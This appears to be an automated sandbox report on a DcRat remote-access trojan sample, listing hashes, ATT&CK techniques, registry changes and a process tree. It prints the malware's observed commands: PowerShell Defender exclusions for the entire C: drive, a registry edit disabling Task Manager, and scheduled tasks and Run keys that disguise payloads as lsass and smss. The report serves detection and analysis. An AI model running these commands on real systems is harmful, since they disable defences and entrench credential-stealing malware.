dcrat | 52796cc15b3bc3df709a40ef1c164c9314096fb1eaf9167002c98a4a2fbf0869

Analysis

max time kernel
118s
max time network
119s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
16-12-2024 15:36

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

52796cc15b3bc3df709a40ef1c164c9314096fb1eaf9167002c98a4a2fbf0869N.exe
Size

1.8MB
MD5

4c8c00791894ebf2accb5b77a4509610
SHA1

186cf1ab5c40ced62a351ad2248704c69b292586
SHA256

52796cc15b3bc3df709a40ef1c164c9314096fb1eaf9167002c98a4a2fbf0869
SHA512

c4f559445d607e0457f4b4ea11f09d4eb6d13999e393d5f77ab19758d0d7f9608133118cb3a7a72b07ef0323aa1170cd346d8d0077b70883d61ced70edddf1d4
SSDEEP

49152:IBJAv1XMSYVEb9rGJ/ChuhAeaCGcZPjCjDUVQslg+:y2tp3bpGghYhJGcF+jDUuslg+

Score

10^/10

dcrat discovery evasion execution infostealer persistence rat spyware stealer

Malware Config

Signatures

DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
rat infostealer dcrat
Dcrat family
dcrat

Modifies WinLogon for persistence 2 TTPs 6 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Users\\Default\\Saved Games\\smss.exe\""	comwebFontMonitor.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Users\\Default\\Saved Games\\smss.exe\", \"C:\\Program Files (x86)\\Reference Assemblies\\lsass.exe\""	comwebFontMonitor.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Users\\Default\\Saved Games\\smss.exe\", \"C:\\Program Files (x86)\\Reference Assemblies\\lsass.exe\", \"C:\\Hypermonitor\\RuntimeBroker.exe\""	comwebFontMonitor.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Users\\Default\\Saved Games\\smss.exe\", \"C:\\Program Files (x86)\\Reference Assemblies\\lsass.exe\", \"C:\\Hypermonitor\\RuntimeBroker.exe\", \"C:\\Recovery\\WindowsRE\\winlogon.exe\""	comwebFontMonitor.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Users\\Default\\Saved Games\\smss.exe\", \"C:\\Program Files (x86)\\Reference Assemblies\\lsass.exe\", \"C:\\Hypermonitor\\RuntimeBroker.exe\", \"C:\\Recovery\\WindowsRE\\winlogon.exe\", \"C:\\Hypermonitor\\smss.exe\""	comwebFontMonitor.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Users\\Default\\Saved Games\\smss.exe\", \"C:\\Program Files (x86)\\Reference Assemblies\\lsass.exe\", \"C:\\Hypermonitor\\RuntimeBroker.exe\", \"C:\\Recovery\\WindowsRE\\winlogon.exe\", \"C:\\Hypermonitor\\smss.exe\", \"C:\\Hypermonitor\\comwebFontMonitor.exe\""	comwebFontMonitor.exe

Process spawned unexpected child process 18 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5028	4016	schtasks.exe	87
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1184	4016	schtasks.exe	87
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4516	4016	schtasks.exe	87
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1652	4016	schtasks.exe	87
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2644	4016	schtasks.exe	87
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3008	4016	schtasks.exe	87
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3624	4016	schtasks.exe	87
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4528	4016	schtasks.exe	87
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3976	4016	schtasks.exe	87
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1440	4016	schtasks.exe	87
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	656	4016	schtasks.exe	87
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3240	4016	schtasks.exe	87
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	976	4016	schtasks.exe	87
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4248	4016	schtasks.exe	87
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3736	4016	schtasks.exe	87
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2320	4016	schtasks.exe	87
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4764	4016	schtasks.exe	87
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2224	4016	schtasks.exe	87

Command and Scripting Interpreter: PowerShell 1 TTPs 18 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2684	powershell.exe
4440	powershell.exe
716	powershell.exe
5088	powershell.exe
752	powershell.exe
1980	powershell.exe
2900	powershell.exe
4552	powershell.exe
2860	powershell.exe
916	powershell.exe
3372	powershell.exe
3532	powershell.exe
2844	powershell.exe
968	powershell.exe
3432	powershell.exe
1836	powershell.exe
1148	powershell.exe
3864	powershell.exe

Disables Task Manager via registry modification
evasion

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	52796cc15b3bc3df709a40ef1c164c9314096fb1eaf9167002c98a4a2fbf0869N.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	comwebFontMonitor.exe

Executes dropped EXE 2 IoCs

pid	Process
3308	comwebFontMonitor.exe
5760	winlogon.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 12 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\lsass = "\"C:\\Program Files (x86)\\Reference Assemblies\\lsass.exe\""	comwebFontMonitor.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RuntimeBroker = "\"C:\\Hypermonitor\\RuntimeBroker.exe\""	comwebFontMonitor.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\smss = "\"C:\\Hypermonitor\\smss.exe\""	comwebFontMonitor.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\comwebFontMonitor = "\"C:\\Hypermonitor\\comwebFontMonitor.exe\""	comwebFontMonitor.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\smss = "\"C:\\Users\\Default\\Saved Games\\smss.exe\""	comwebFontMonitor.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\smss = "\"C:\\Users\\Default\\Saved Games\\smss.exe\""	comwebFontMonitor.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\winlogon = "\"C:\\Recovery\\WindowsRE\\winlogon.exe\""	comwebFontMonitor.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\winlogon = "\"C:\\Recovery\\WindowsRE\\winlogon.exe\""	comwebFontMonitor.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\smss = "\"C:\\Hypermonitor\\smss.exe\""	comwebFontMonitor.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\comwebFontMonitor = "\"C:\\Hypermonitor\\comwebFontMonitor.exe\""	comwebFontMonitor.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\lsass = "\"C:\\Program Files (x86)\\Reference Assemblies\\lsass.exe\""	comwebFontMonitor.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RuntimeBroker = "\"C:\\Hypermonitor\\RuntimeBroker.exe\""	comwebFontMonitor.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	\??\c:\Windows\System32\CSCD6271694C65A4FCDBC70ACD3AB1DBFB3.TMP	csc.exe
File created	\??\c:\Windows\System32\ljh0xx.exe	csc.exe

Drops file in Program Files directory 2 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\Reference Assemblies\lsass.exe	comwebFontMonitor.exe
File created	C:\Program Files (x86)\Reference Assemblies\6203df4a6bafc7	comwebFontMonitor.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	52796cc15b3bc3df709a40ef1c164c9314096fb1eaf9167002c98a4a2fbf0869N.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
5164	PING.EXE

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000_Classes\Local Settings	52796cc15b3bc3df709a40ef1c164c9314096fb1eaf9167002c98a4a2fbf0869N.exe
Key created	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000_Classes\Local Settings	comwebFontMonitor.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1908	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
5164	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 18 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3976	schtasks.exe
656	schtasks.exe
4248	schtasks.exe
1184	schtasks.exe
4516	schtasks.exe
2644	schtasks.exe
4528	schtasks.exe
5028	schtasks.exe
3736	schtasks.exe
976	schtasks.exe
4764	schtasks.exe
1652	schtasks.exe
3008	schtasks.exe
3624	schtasks.exe
3240	schtasks.exe
1440	schtasks.exe
2320	schtasks.exe
2224	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3308	comwebFontMonitor.exe
3308	comwebFontMonitor.exe
3308	comwebFontMonitor.exe
3308	comwebFontMonitor.exe
3308	comwebFontMonitor.exe
3308	comwebFontMonitor.exe
3308	comwebFontMonitor.exe
3308	comwebFontMonitor.exe
3308	comwebFontMonitor.exe
3308	comwebFontMonitor.exe
3308	comwebFontMonitor.exe
3308	comwebFontMonitor.exe
3308	comwebFontMonitor.exe
3308	comwebFontMonitor.exe
3308	comwebFontMonitor.exe
3308	comwebFontMonitor.exe
3308	comwebFontMonitor.exe
3308	comwebFontMonitor.exe
3308	comwebFontMonitor.exe
3308	comwebFontMonitor.exe
3308	comwebFontMonitor.exe
3308	comwebFontMonitor.exe
3308	comwebFontMonitor.exe
3308	comwebFontMonitor.exe
3308	comwebFontMonitor.exe
3308	comwebFontMonitor.exe
3308	comwebFontMonitor.exe
3308	comwebFontMonitor.exe
3308	comwebFontMonitor.exe
3308	comwebFontMonitor.exe
3308	comwebFontMonitor.exe
3308	comwebFontMonitor.exe
3308	comwebFontMonitor.exe
3308	comwebFontMonitor.exe
3308	comwebFontMonitor.exe
3308	comwebFontMonitor.exe
3308	comwebFontMonitor.exe
3308	comwebFontMonitor.exe
3308	comwebFontMonitor.exe
3308	comwebFontMonitor.exe
3308	comwebFontMonitor.exe
3308	comwebFontMonitor.exe
3308	comwebFontMonitor.exe
3308	comwebFontMonitor.exe
3308	comwebFontMonitor.exe
3308	comwebFontMonitor.exe
3308	comwebFontMonitor.exe
3308	comwebFontMonitor.exe
3308	comwebFontMonitor.exe
3308	comwebFontMonitor.exe
3308	comwebFontMonitor.exe
3308	comwebFontMonitor.exe
3308	comwebFontMonitor.exe
3308	comwebFontMonitor.exe
3308	comwebFontMonitor.exe
3308	comwebFontMonitor.exe
3308	comwebFontMonitor.exe
3308	comwebFontMonitor.exe
3308	comwebFontMonitor.exe
3308	comwebFontMonitor.exe
3308	comwebFontMonitor.exe
3308	comwebFontMonitor.exe
3308	comwebFontMonitor.exe
3308	comwebFontMonitor.exe

Suspicious use of AdjustPrivilegeToken 20 IoCs

description	pid	Process
Token: SeDebugPrivilege	3308	comwebFontMonitor.exe
Token: SeDebugPrivilege	2844	powershell.exe
Token: SeDebugPrivilege	1980	powershell.exe
Token: SeDebugPrivilege	2900	powershell.exe
Token: SeDebugPrivilege	752	powershell.exe
Token: SeDebugPrivilege	5088	powershell.exe
Token: SeDebugPrivilege	1148	powershell.exe
Token: SeDebugPrivilege	3864	powershell.exe
Token: SeDebugPrivilege	4440	powershell.exe
Token: SeDebugPrivilege	2860	powershell.exe
Token: SeDebugPrivilege	968	powershell.exe
Token: SeDebugPrivilege	4552	powershell.exe
Token: SeDebugPrivilege	2684	powershell.exe
Token: SeDebugPrivilege	3372	powershell.exe
Token: SeDebugPrivilege	1836	powershell.exe
Token: SeDebugPrivilege	3532	powershell.exe
Token: SeDebugPrivilege	716	powershell.exe
Token: SeDebugPrivilege	3432	powershell.exe
Token: SeDebugPrivilege	916	powershell.exe
Token: SeDebugPrivilege	5760	winlogon.exe

Suspicious use of WriteProcessMemory 59 IoCs

description	pid	Process	procid_target
PID 4380 wrote to memory of 2000	4380	52796cc15b3bc3df709a40ef1c164c9314096fb1eaf9167002c98a4a2fbf0869N.exe	82
PID 4380 wrote to memory of 2000	4380	52796cc15b3bc3df709a40ef1c164c9314096fb1eaf9167002c98a4a2fbf0869N.exe	82
PID 4380 wrote to memory of 2000	4380	52796cc15b3bc3df709a40ef1c164c9314096fb1eaf9167002c98a4a2fbf0869N.exe	82
PID 2000 wrote to memory of 4860	2000	WScript.exe	83
PID 2000 wrote to memory of 4860	2000	WScript.exe	83
PID 2000 wrote to memory of 4860	2000	WScript.exe	83
PID 4860 wrote to memory of 1908	4860	cmd.exe	85
PID 4860 wrote to memory of 1908	4860	cmd.exe	85
PID 4860 wrote to memory of 1908	4860	cmd.exe	85
PID 4860 wrote to memory of 3308	4860	cmd.exe	86
PID 4860 wrote to memory of 3308	4860	cmd.exe	86
PID 3308 wrote to memory of 3560	3308	comwebFontMonitor.exe	91
PID 3308 wrote to memory of 3560	3308	comwebFontMonitor.exe	91
PID 3560 wrote to memory of 1008	3560	csc.exe	95
PID 3560 wrote to memory of 1008	3560	csc.exe	95
PID 3308 wrote to memory of 916	3308	comwebFontMonitor.exe	111
PID 3308 wrote to memory of 916	3308	comwebFontMonitor.exe	111
PID 3308 wrote to memory of 2860	3308	comwebFontMonitor.exe	112
PID 3308 wrote to memory of 2860	3308	comwebFontMonitor.exe	112
PID 3308 wrote to memory of 3864	3308	comwebFontMonitor.exe	113
PID 3308 wrote to memory of 3864	3308	comwebFontMonitor.exe	113
PID 3308 wrote to memory of 1148	3308	comwebFontMonitor.exe	114
PID 3308 wrote to memory of 1148	3308	comwebFontMonitor.exe	114
PID 3308 wrote to memory of 2684	3308	comwebFontMonitor.exe	115
PID 3308 wrote to memory of 2684	3308	comwebFontMonitor.exe	115
PID 3308 wrote to memory of 5088	3308	comwebFontMonitor.exe	116
PID 3308 wrote to memory of 5088	3308	comwebFontMonitor.exe	116
PID 3308 wrote to memory of 716	3308	comwebFontMonitor.exe	117
PID 3308 wrote to memory of 716	3308	comwebFontMonitor.exe	117
PID 3308 wrote to memory of 968	3308	comwebFontMonitor.exe	118
PID 3308 wrote to memory of 968	3308	comwebFontMonitor.exe	118
PID 3308 wrote to memory of 3432	3308	comwebFontMonitor.exe	119
PID 3308 wrote to memory of 3432	3308	comwebFontMonitor.exe	119
PID 3308 wrote to memory of 3372	3308	comwebFontMonitor.exe	120
PID 3308 wrote to memory of 3372	3308	comwebFontMonitor.exe	120
PID 3308 wrote to memory of 2900	3308	comwebFontMonitor.exe	121
PID 3308 wrote to memory of 2900	3308	comwebFontMonitor.exe	121
PID 3308 wrote to memory of 4440	3308	comwebFontMonitor.exe	122
PID 3308 wrote to memory of 4440	3308	comwebFontMonitor.exe	122
PID 3308 wrote to memory of 3532	3308	comwebFontMonitor.exe	123
PID 3308 wrote to memory of 3532	3308	comwebFontMonitor.exe	123
PID 3308 wrote to memory of 4552	3308	comwebFontMonitor.exe	124
PID 3308 wrote to memory of 4552	3308	comwebFontMonitor.exe	124
PID 3308 wrote to memory of 1836	3308	comwebFontMonitor.exe	125
PID 3308 wrote to memory of 1836	3308	comwebFontMonitor.exe	125
PID 3308 wrote to memory of 2844	3308	comwebFontMonitor.exe	126
PID 3308 wrote to memory of 2844	3308	comwebFontMonitor.exe	126
PID 3308 wrote to memory of 752	3308	comwebFontMonitor.exe	127
PID 3308 wrote to memory of 752	3308	comwebFontMonitor.exe	127
PID 3308 wrote to memory of 1980	3308	comwebFontMonitor.exe	128
PID 3308 wrote to memory of 1980	3308	comwebFontMonitor.exe	128
PID 3308 wrote to memory of 4932	3308	comwebFontMonitor.exe	146
PID 3308 wrote to memory of 4932	3308	comwebFontMonitor.exe	146
PID 4932 wrote to memory of 2492	4932	cmd.exe	149
PID 4932 wrote to memory of 2492	4932	cmd.exe	149
PID 4932 wrote to memory of 5164	4932	cmd.exe	150
PID 4932 wrote to memory of 5164	4932	cmd.exe	150
PID 4932 wrote to memory of 5760	4932	cmd.exe	155
PID 4932 wrote to memory of 5760	4932	cmd.exe	155

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\52796cc15b3bc3df709a40ef1c164c9314096fb1eaf9167002c98a4a2fbf0869N.exe
"C:\Users\Admin\AppData\Local\Temp\52796cc15b3bc3df709a40ef1c164c9314096fb1eaf9167002c98a4a2fbf0869N.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4380
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Hypermonitor\LKrf7gnHKEtTrri8lYQDrdW1woi2hn8C2Yi.vbe"
  2⤵
  - Checks computer location settings
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2000
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Hypermonitor\3Uu9O955Odn1NnhyAkHLIW.bat" "
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4860
  - - C:\Windows\SysWOW64\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      System Location Discovery: System Language Discovery
      Modifies registry key
      PID:1908
  - - C:\Hypermonitor\comwebFontMonitor.exe
      "C:\Hypermonitor/comwebFontMonitor.exe"
      4⤵
      Modifies WinLogon for persistence
      Checks computer location settings
      Executes dropped EXE
      Adds Run key to start application
      Drops file in Program Files directory
      Modifies registry class
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3308
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\xnr0cji5\xnr0cji5.cmdline"
        5⤵
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:3560
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB44C.tmp" "c:\Windows\System32\CSCD6271694C65A4FCDBC70ACD3AB1DBFB3.TMP"
        6⤵
        
        PID:1008
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:/'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:916
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:/$Recycle.Bin/'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:2860
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Documents and Settings/'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:3864
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Hypermonitor/'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:1148
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:/PerfLogs/'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:2684
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files/'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:5088
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files (x86)/'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:716
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:/ProgramData/'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:968
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Recovery/'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:3432
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:/System Volume Information/'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:3372
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Users/'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:2900
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Windows/'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:4440
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Default\Saved Games\smss.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:3532
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Reference Assemblies\lsass.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:4552
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Hypermonitor\RuntimeBroker.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:1836
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\WindowsRE\winlogon.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:2844
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Hypermonitor\smss.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:752
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Hypermonitor\comwebFontMonitor.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:1980
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\7G6D8DodJk.bat"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4932
      - C:\Windows\system32\chcp.com
        
        chcp 65001
        6⤵
        
        PID:2492
      - C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:5164
      - C:\Recovery\WindowsRE\winlogon.exe
        
        "C:\Recovery\WindowsRE\winlogon.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:5760

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smsss" /sc MINUTE /mo 7 /tr "'C:\Users\Default\Saved Games\smss.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5028

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smss" /sc ONLOGON /tr "'C:\Users\Default\Saved Games\smss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1184

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smsss" /sc MINUTE /mo 9 /tr "'C:\Users\Default\Saved Games\smss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4516

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 14 /tr "'C:\Program Files (x86)\Reference Assemblies\lsass.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1652

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsass" /sc ONLOGON /tr "'C:\Program Files (x86)\Reference Assemblies\lsass.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2644

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 14 /tr "'C:\Program Files (x86)\Reference Assemblies\lsass.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3008

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 12 /tr "'C:\Hypermonitor\RuntimeBroker.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3624

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Hypermonitor\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4528

